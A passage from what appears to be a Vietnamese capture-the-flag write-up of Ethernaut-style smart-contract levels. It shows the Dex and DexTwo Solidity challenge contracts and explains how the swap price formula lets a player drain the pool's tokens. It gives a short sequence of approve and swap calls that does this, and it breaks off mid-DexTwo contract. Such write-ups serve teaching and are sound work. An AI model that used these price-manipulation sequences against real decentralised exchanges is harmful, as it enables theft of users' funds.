&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="n">IERC20&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="n">to&lt;/span>&lt;span class="p">).&lt;/span>&lt;span class="n">transferFrom&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="kt">address&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="nb">this&lt;/span>&lt;span class="p">),&lt;/span> &lt;span class="nb">msg&lt;/span>&lt;span class="p">.&lt;/span>&lt;span class="nb">sender&lt;/span>&lt;span class="p">,&lt;/span> &lt;span class="n">swapAmount&lt;/span>&lt;span class="p">);&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="p">}&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="kd">function&lt;/span> &lt;span class="nf">getSwapPrice&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="kt">address&lt;/span> &lt;span class="k">from&lt;/span>&lt;span class="p">,&lt;/span> &lt;span class="kt">address&lt;/span> &lt;span class="n">to&lt;/span>&lt;span class="p">,&lt;/span> &lt;span class="kt">uint256&lt;/span> &lt;span class="n">amount&lt;/span>&lt;span class="p">)&lt;/span> &lt;span class="k">public&lt;/span> &lt;span class="k">view&lt;/span> &lt;span class="k">returns&lt;/span> &lt;span class="p">(&lt;/span>&lt;span class="kt">uint256&lt;/span>&lt;span class="p">)&lt;/span> &lt;span class="p">{&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="k">return&lt;/span> &lt;span class="p">((&lt;/span>&lt;span class="n">amount&lt;/span> &lt;span class="o">*&lt;/span> &lt;span class="n">IERC20&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="n">to&lt;/span>&lt;span class="p">).&lt;/span>&lt;span class="n">balanceOf&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="kt">address&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="nb">this&lt;/span>&lt;span class="p">)))&lt;/span> &lt;span class="o">/&lt;/span> &lt;span class="n">IERC20&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="k">from&lt;/span>&lt;span class="p">).&lt;/span>&lt;span class="n">balanceOf&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="kt">address&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="nb">this&lt;/span>&lt;span class="p">)));&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="p">}&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="kd">function&lt;/span> &lt;span class="nf">approve&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="kt">address&lt;/span> &lt;span class="n">spender&lt;/span>&lt;span class="p">,&lt;/span> &lt;span class="kt">uint256&lt;/span> &lt;span class="n">amount&lt;/span>&lt;span class="p">)&lt;/span> &lt;span class="k">public&lt;/span> &lt;span class="p">{&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="n">SwappableToken&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="n">token1&lt;/span>&lt;span class="p">).&lt;/span>&lt;span class="n">approve&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="nb">msg&lt;/span>&lt;span class="p">.&lt;/span>&lt;span class="nb">sender&lt;/span>&lt;span class="p">,&lt;/span> &lt;span class="n">spender&lt;/span>&lt;span class="p">,&lt;/span> &lt;span class="n">amount&lt;/span>&lt;span class="p">);&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="n">SwappableToken&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="n">token2&lt;/span>&lt;span class="p">).&lt;/span>&lt;span class="n">approve&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="nb">msg&lt;/span>&lt;span class="p">.&lt;/span>&lt;span class="nb">sender&lt;/span>&lt;span class="p">,&lt;/span> &lt;span class="n">spender&lt;/span>&lt;span class="p">,&lt;/span> &lt;span class="n">amount&lt;/span>&lt;span class="p">);&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="p">}&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="kd">function&lt;/span> &lt;span class="nf">balanceOf&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="kt">address&lt;/span> &lt;span class="n">token&lt;/span>&lt;span class="p">,&lt;/span> &lt;span class="kt">address&lt;/span> &lt;span class="n">account&lt;/span>&lt;span class="p">)&lt;/span> &lt;span class="k">public&lt;/span> &lt;span class="k">view&lt;/span> &lt;span class="k">returns&lt;/span> &lt;span class="p">(&lt;/span>&lt;span class="kt">uint256&lt;/span>&lt;span class="p">)&lt;/span> &lt;span class="p">{&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="k">return&lt;/span> &lt;span class="n">IERC20&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="n">token&lt;/span>&lt;span class="p">).&lt;/span>&lt;span class="n">balanceOf&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="n">account&lt;/span>&lt;span class="p">);&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="p">}&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="p">}&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="kd">contract&lt;/span> &lt;span class="nc">SwappableToken&lt;/span> &lt;span class="k">is&lt;/span> &lt;span class="n">ERC20&lt;/span> &lt;span class="p">{&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="kt">address&lt;/span> &lt;span class="k">private&lt;/span> &lt;span class="n">_dex&lt;/span>&lt;span class="p">;&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="kd">constructor&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="kt">address&lt;/span> &lt;span class="n">dexInstance&lt;/span>&lt;span class="p">,&lt;/span> &lt;span class="kt">string&lt;/span> &lt;span class="k">memory&lt;/span> &lt;span class="nb">name&lt;/span>&lt;span class="p">,&lt;/span> &lt;span class="kt">string&lt;/span> &lt;span class="k">memory&lt;/span> &lt;span class="n">symbol&lt;/span>&lt;span class="p">,&lt;/span> &lt;span class="kt">uint256&lt;/span> &lt;span class="n">initialSupply&lt;/span>&lt;span class="p">)&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="n">ERC20&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="nb">name&lt;/span>&lt;span class="p">,&lt;/span> &lt;span class="n">symbol&lt;/span>&lt;span class="p">)&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="p">{&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="n">_mint&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="nb">msg&lt;/span>&lt;span class="p">.&lt;/span>&lt;span class="nb">sender&lt;/span>&lt;span class="p">,&lt;/span> &lt;span class="n">initialSupply&lt;/span>&lt;span class="p">);&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="n">_dex&lt;/span> &lt;span class="o">=&lt;/span> &lt;span class="n">dexInstance&lt;/span>&lt;span class="p">;&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="p">}&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="kd">function&lt;/span> &lt;span class="nf">approve&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="kt">address&lt;/span> &lt;span class="n">owner&lt;/span>&lt;span class="p">,&lt;/span> &lt;span class="kt">address&lt;/span> &lt;span class="n">spender&lt;/span>&lt;span class="p">,&lt;/span> &lt;span class="kt">uint256&lt;/span> &lt;span class="n">amount&lt;/span>&lt;span class="p">)&lt;/span> &lt;span class="k">public&lt;/span> &lt;span class="p">{&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="nb">require&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="n">owner&lt;/span> &lt;span class="o">!=&lt;/span> &lt;span class="n">_dex&lt;/span>&lt;span class="p">,&lt;/span> &lt;span class="s">&amp;#34;InvalidApprover&amp;#34;&lt;/span>&lt;span class="p">);&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="nb">super&lt;/span>&lt;span class="p">.&lt;/span>&lt;span class="n">_approve&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="n">owner&lt;/span>&lt;span class="p">,&lt;/span> &lt;span class="n">spender&lt;/span>&lt;span class="p">,&lt;/span> &lt;span class="n">amount&lt;/span>&lt;span class="p">);&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="p">}&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="p">}&lt;/span>
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;p>Trong bài này, ta cần rút hết tiền của server contract dựa trên việc thao túng AMM.&lt;/p>
&lt;p>Ta sẽ chú ý đến hai hàm &lt;code>swap(address from, address to, uint256 amount)&lt;/code> và &lt;code>getSwapPrice(from, to, amount)&lt;/code>:&lt;/p>
&lt;div class="highlight">&lt;pre tabindex="0" class="chroma">&lt;code class="language-solidity" data-lang="solidity">&lt;span class="line">&lt;span class="cl"> &lt;span class="kd">function&lt;/span> &lt;span class="nf">swap&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="kt">address&lt;/span> &lt;span class="k">from&lt;/span>&lt;span class="p">,&lt;/span> &lt;span class="kt">address&lt;/span> &lt;span class="n">to&lt;/span>&lt;span class="p">,&lt;/span> &lt;span class="kt">uint256&lt;/span> &lt;span class="n">amount&lt;/span>&lt;span class="p">)&lt;/span> &lt;span class="k">public&lt;/span> &lt;span class="p">{&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="nb">require&lt;/span>&lt;span class="p">((&lt;/span>&lt;span class="k">from&lt;/span> &lt;span class="o">==&lt;/span> &lt;span class="n">token1&lt;/span> &lt;span class="o">&amp;amp;&amp;amp;&lt;/span> &lt;span class="n">to&lt;/span> &lt;span class="o">==&lt;/span> &lt;span class="n">token2&lt;/span>&lt;span class="p">)&lt;/span> &lt;span class="o">||&lt;/span> &lt;span class="p">(&lt;/span>&lt;span class="k">from&lt;/span> &lt;span class="o">==&lt;/span> &lt;span class="n">token2&lt;/span> &lt;span class="o">&amp;amp;&amp;amp;&lt;/span> &lt;span class="n">to&lt;/span> &lt;span class="o">==&lt;/span> &lt;span class="n">token1&lt;/span>&lt;span class="p">),&lt;/span> &lt;span class="s">&amp;#34;Invalid tokens&amp;#34;&lt;/span>&lt;span class="p">);&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="nb">require&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="n">IERC20&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="k">from&lt;/span>&lt;span class="p">).&lt;/span>&lt;span class="n">balanceOf&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="nb">msg&lt;/span>&lt;span class="p">.&lt;/span>&lt;span class="nb">sender&lt;/span>&lt;span class="p">)&lt;/span> &lt;span class="o">&amp;gt;=&lt;/span> &lt;span class="n">amount&lt;/span>&lt;span class="p">,&lt;/span> &lt;span class="s">&amp;#34;Not enough to swap&amp;#34;&lt;/span>&lt;span class="p">);&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="kt">uint256&lt;/span> &lt;span class="n">swapAmount&lt;/span> &lt;span class="o">=&lt;/span> &lt;span class="n">getSwapPrice&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="k">from&lt;/span>&lt;span class="p">,&lt;/span> &lt;span class="n">to&lt;/span>&lt;span class="p">,&lt;/span> &lt;span class="n">amount&lt;/span>&lt;span class="p">);&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="n">IERC20&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="k">from&lt;/span>&lt;span class="p">).&lt;/span>&lt;span class="n">transferFrom&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="nb">msg&lt;/span>&lt;span class="p">.&lt;/span>&lt;span class="nb">sender&lt;/span>&lt;span class="p">,&lt;/span> &lt;span class="kt">address&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="nb">this&lt;/span>&lt;span class="p">),&lt;/span> &lt;span class="n">amount&lt;/span>&lt;span class="p">);&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="n">IERC20&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="n">to&lt;/span>&lt;span class="p">).&lt;/span>&lt;span class="n">approve&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="kt">address&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="nb">this&lt;/span>&lt;span class="p">),&lt;/span> &lt;span class="n">swapAmount&lt;/span>&lt;span class="p">);&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="n">IERC20&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="n">to&lt;/span>&lt;span class="p">).&lt;/span>&lt;span class="n">transferFrom&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="kt">address&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="nb">this&lt;/span>&lt;span class="p">),&lt;/span> &lt;span class="nb">msg&lt;/span>&lt;span class="p">.&lt;/span>&lt;span class="nb">sender&lt;/span>&lt;span class="p">,&lt;/span> &lt;span class="n">swapAmount&lt;/span>&lt;span class="p">);&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="p">}&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="kd">function&lt;/span> &lt;span class="nf">getSwapPrice&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="kt">address&lt;/span> &lt;span class="k">from&lt;/span>&lt;span class="p">,&lt;/span> &lt;span class="kt">address&lt;/span> &lt;span class="n">to&lt;/span>&lt;span class="p">,&lt;/span> &lt;span class="kt">uint256&lt;/span> &lt;span class="n">amount&lt;/span>&lt;span class="p">)&lt;/span> &lt;span class="k">public&lt;/span> &lt;span class="k">view&lt;/span> &lt;span class="k">returns&lt;/span> &lt;span class="p">(&lt;/span>&lt;span class="kt">uint256&lt;/span>&lt;span class="p">)&lt;/span> &lt;span class="p">{&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="k">return&lt;/span> &lt;span class="p">((&lt;/span>&lt;span class="n">amount&lt;/span> &lt;span class="o">*&lt;/span> &lt;span class="n">IERC20&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="n">to&lt;/span>&lt;span class="p">).&lt;/span>&lt;span class="n">balanceOf&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="kt">address&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="nb">this&lt;/span>&lt;span class="p">)))&lt;/span> &lt;span class="o">/&lt;/span> &lt;span class="n">IERC20&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="k">from&lt;/span>&lt;span class="p">).&lt;/span>&lt;span class="n">balanceOf&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="kt">address&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="nb">this&lt;/span>&lt;span class="p">)));&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="p">}&lt;/span>
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;p>Hàm này cho phép ta chuyển một lượng &lt;code>amount&lt;/code> token &lt;code>from&lt;/code> qua token &lt;code>to&lt;/code> trong ví ta. Lưu ý rằng với mỗi lần swap, liquidity sẽ bị thay đổi do cách tính toán trong hàm &lt;code>getSwapPrice&lt;/code> và số lượng token của server contract bị thay đổi. Ta sẽ lợi dụng điều này để rút hết token của server contract.&lt;/p>
&lt;p>Ta sẽ rút tiền như bảng sau:&lt;/p>
&lt;p>&lt;img src="https://giapppp.github.io/images/blockchain-thingies/blockchain-thingies_2.png" alt="image">&lt;/p>
&lt;p>Lưu ý rằng ta phải cho phép instance address sử dụng token thì mới có thể gọi hàm &lt;code>swap()&lt;/code> được. Ta sẽ gọi hàm &lt;code>approve()&lt;/code> với giá trị &lt;code>value&lt;/code> vừa đủ.&lt;/p>
&lt;div class="highlight">&lt;pre tabindex="0" class="chroma">&lt;code class="language-javascript" data-lang="javascript">&lt;span class="line">&lt;span class="cl">&lt;span class="kr">await&lt;/span> &lt;span class="nx">contract&lt;/span>&lt;span class="p">.&lt;/span>&lt;span class="nx">approve&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="nx">instance&lt;/span>&lt;span class="p">,&lt;/span> &lt;span class="s2">&amp;#34;1000&amp;#34;&lt;/span>&lt;span class="p">)&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="kr">await&lt;/span> &lt;span class="nx">contract&lt;/span>&lt;span class="p">.&lt;/span>&lt;span class="nx">swap&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="nx">token1&lt;/span>&lt;span class="p">,&lt;/span> &lt;span class="nx">token2&lt;/span>&lt;span class="p">,&lt;/span> &lt;span class="mi">10&lt;/span>&lt;span class="p">)&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="kr">await&lt;/span> &lt;span class="nx">contract&lt;/span>&lt;span class="p">.&lt;/span>&lt;span class="nx">swap&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="nx">token2&lt;/span>&lt;span class="p">,&lt;/span> &lt;span class="nx">token1&lt;/span>&lt;span class="p">,&lt;/span> &lt;span class="mi">20&lt;/span>&lt;span class="p">)&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="kr">await&lt;/span> &lt;span class="nx">contract&lt;/span>&lt;span class="p">.&lt;/span>&lt;span class="nx">swap&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="nx">token1&lt;/span>&lt;span class="p">,&lt;/span> &lt;span class="nx">token2&lt;/span>&lt;span class="p">,&lt;/span> &lt;span class="mi">24&lt;/span>&lt;span class="p">)&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="kr">await&lt;/span> &lt;span class="nx">contract&lt;/span>&lt;span class="p">.&lt;/span>&lt;span class="nx">swap&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="nx">token2&lt;/span>&lt;span class="p">,&lt;/span> &lt;span class="nx">token1&lt;/span>&lt;span class="p">,&lt;/span> &lt;span class="mi">30&lt;/span>&lt;span class="p">)&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="kr">await&lt;/span> &lt;span class="nx">contract&lt;/span>&lt;span class="p">.&lt;/span>&lt;span class="nx">swap&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="nx">token1&lt;/span>&lt;span class="p">,&lt;/span> &lt;span class="nx">token2&lt;/span>&lt;span class="p">,&lt;/span> &lt;span class="mi">41&lt;/span>&lt;span class="p">)&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="kr">await&lt;/span> &lt;span class="nx">contract&lt;/span>&lt;span class="p">.&lt;/span>&lt;span class="nx">swap&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="nx">token2&lt;/span>&lt;span class="p">,&lt;/span> &lt;span class="nx">token1&lt;/span>&lt;span class="p">,&lt;/span> &lt;span class="mi">45&lt;/span>&lt;span class="p">)&lt;/span>
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;h3 id="dextwo">DexTwo&lt;/h3>
&lt;div class="highlight">&lt;pre tabindex="0" class="chroma">&lt;code class="language-solidity" data-lang="solidity">&lt;span class="line">&lt;span class="cl">&lt;span class="c1">// SPDX-License-Identifier: MIT
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="c1">&lt;/span>&lt;span class="k">pragma solidity&lt;/span> &lt;span class="o">^&lt;/span>&lt;span class="mi">0&lt;/span>&lt;span class="p">.&lt;/span>&lt;span class="mi">8&lt;/span>&lt;span class="p">.&lt;/span>&lt;span class="mi">0&lt;/span>&lt;span class="p">;&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="kn">import&lt;/span> &lt;span class="s">&amp;#34;openzeppelin-contracts-08/token/ERC20/IERC20.sol&amp;#34;&lt;/span>&lt;span class="p">;&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="kn">import&lt;/span> &lt;span class="s">&amp;#34;openzeppelin-contracts-08/token/ERC20/ERC20.sol&amp;#34;&lt;/span>&lt;span class="p">;&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="kn">import&lt;/span> &lt;span class="s">&amp;#34;openzeppelin-contracts-08/access/Ownable.sol&amp;#34;&lt;/span>&lt;span class="p">;&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="kd">contract&lt;/span> &lt;span class="nc">DexTwo&lt;/span> &lt;span class="k">is&lt;/span> &lt;span class="n">Ownable&lt;/span> &lt;span class="p">{&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="kt">address&lt;/span> &lt;span class="k">public&lt;/span> &lt;span class="n">token1&lt;/span>&lt;span class="p">;&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="kt">address&lt;/span> &lt;span class="k">public&lt;/span> &lt;span class="n">token2&lt;/span>&lt;span class="p">;&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="kd">constructor&lt;/span>&lt;span class="p">()&lt;/span> &lt;span class="p">{}&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="kd">function&lt;/span> &lt;span class="nf">setTokens&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="kt">address&lt;/span> &lt;span class="n">_token1&lt;/span>&lt;span class="p">,&lt;/span> &lt;span class="kt">address&lt;/span> &lt;span class="n">_token2&lt;/span>&lt;span class="p">)&lt;/span> &lt;span class="k">public&lt;/span> &lt;span class="n">onlyOwner&lt;/span> &lt;span class="p">{&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="n">token1&lt;/span> &lt;span class="o">=&lt;/span> &lt;span class="n">_token1&lt;/span>&lt;span class="p">;&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="n">token2&lt;/span> &lt;span class="o">=&lt;/span> &lt;span class="n">_token2&lt;/span>&lt;span class="p">;&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="p">}&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="kd">function&lt;/span> &lt;span class="nf">add_liquidity&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="kt">address&lt;/span> &lt;span class="n">token_address&lt;/span>&lt;span class="p">,&lt;/span> &lt;span class="kt">uint256&lt;/span> &lt;span class="n">amount&lt;/span>&lt;span class="p">)&lt;/span> &lt;span class="k">public&lt;/span> &lt;span class="n">onlyOwner&lt;/span> &lt;span class="p">{&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="n">IERC20&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="n">token_address&lt;/span>&lt;span class="p">).&lt;/span>&lt;span class="n">transferFrom&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="nb">msg&lt;/span>&lt;span class="p">.&lt;/span>&lt;span class="nb">sender&lt;/span>&lt;span class="p">,&lt;/span> &lt;span class="kt">address&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="nb">this&lt;/span>&lt;span class="p">),&lt;/span> &lt;span class="n">amount&lt;/span>&lt;span class="p">);&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="p">}&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="kd">function&lt;/span> &lt;span class="nf">swap&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="kt">address&lt;/span> &lt;span class="k">from&lt;/span>&lt;span class="p">,&lt;/span> &lt;span class="kt">address&lt;/span> &lt;span class="n">to&lt;/span>&lt;span class="p">,&lt;/span> &lt;span class="kt">uint256&lt;/span> &lt;span class="n">amount&lt;/span>&lt;span class="p">)&lt;/span> &lt;span class="k">public&lt;/span> &lt;span class="p">{&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="nb">require&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="n">IERC20&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="k">from&lt;/span>&lt;span class="p">).&lt;/span>&lt;span class="n">balanceOf&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="nb">msg&lt;/span>&lt;span class="p">.&lt;/span>&lt;span class="nb">sender&lt;/span>&lt;span class="p">)&lt;/span> &lt;span class="o">&amp;gt;=&lt;/span> &lt;span class="n">amount&lt;/span>&lt;span class="p">,&lt;/span> &lt;span class="s">&amp;#34;Not enough to swap&amp;#34;&lt;/span>&lt;span class="p">);&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="kt">uint256&lt;/span> &lt;span class="n">swapAmount&lt;/span> &lt;span class="o">=&lt;/span> &lt;span class="n">getSwapAmount&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="k">from&lt;/span>&lt;span class="p">,&lt;/span> &lt;span class="n">to&lt;/span>&lt;span class="p">,&lt;/span> &lt;span class="n">amount&lt;/span>&lt;span class="p">);&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="n">IERC20&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="k">from&lt;/span>&lt;span class="p">).&lt;/span>&lt;span class="n">transferFrom&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="nb">msg&lt;/span>&lt;span class="p">.&lt;/span>&lt;span class="nb">sender&lt;/span>&lt;span class="p">,&lt;/span> &lt;span class="kt">address&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="nb">this&lt;/span>&lt;span class="p">),&lt;/span> &lt;span class="n">amount&lt;/span>&lt;span class="p">);&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="n">IERC20&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="n">to&lt;/span>&lt;span class="p">).&lt;/span>&lt;span class="n">approve&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="kt">address&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="nb">this&lt;/span>&lt;span class="p">),&lt;/span> &lt;span class="n">swapAmount&lt;/span>&lt;span class="p">);&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="n">IERC20&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="n">to&lt;/span>&lt;span class="p">).&lt;/span>&lt;span class="n">transferFrom&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="kt">address&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="nb">this&lt;/span>&lt;span class="p">),&lt;/span> &lt;span class="nb">msg&lt;/span>&lt;span class="p">.&lt;/span>&lt;span class="nb">sender&lt;/span>&lt;span class="p">,&lt;/span> &lt;span class="n">swapAmount&lt;/span>&lt;span class="p">);&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="p">}&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">
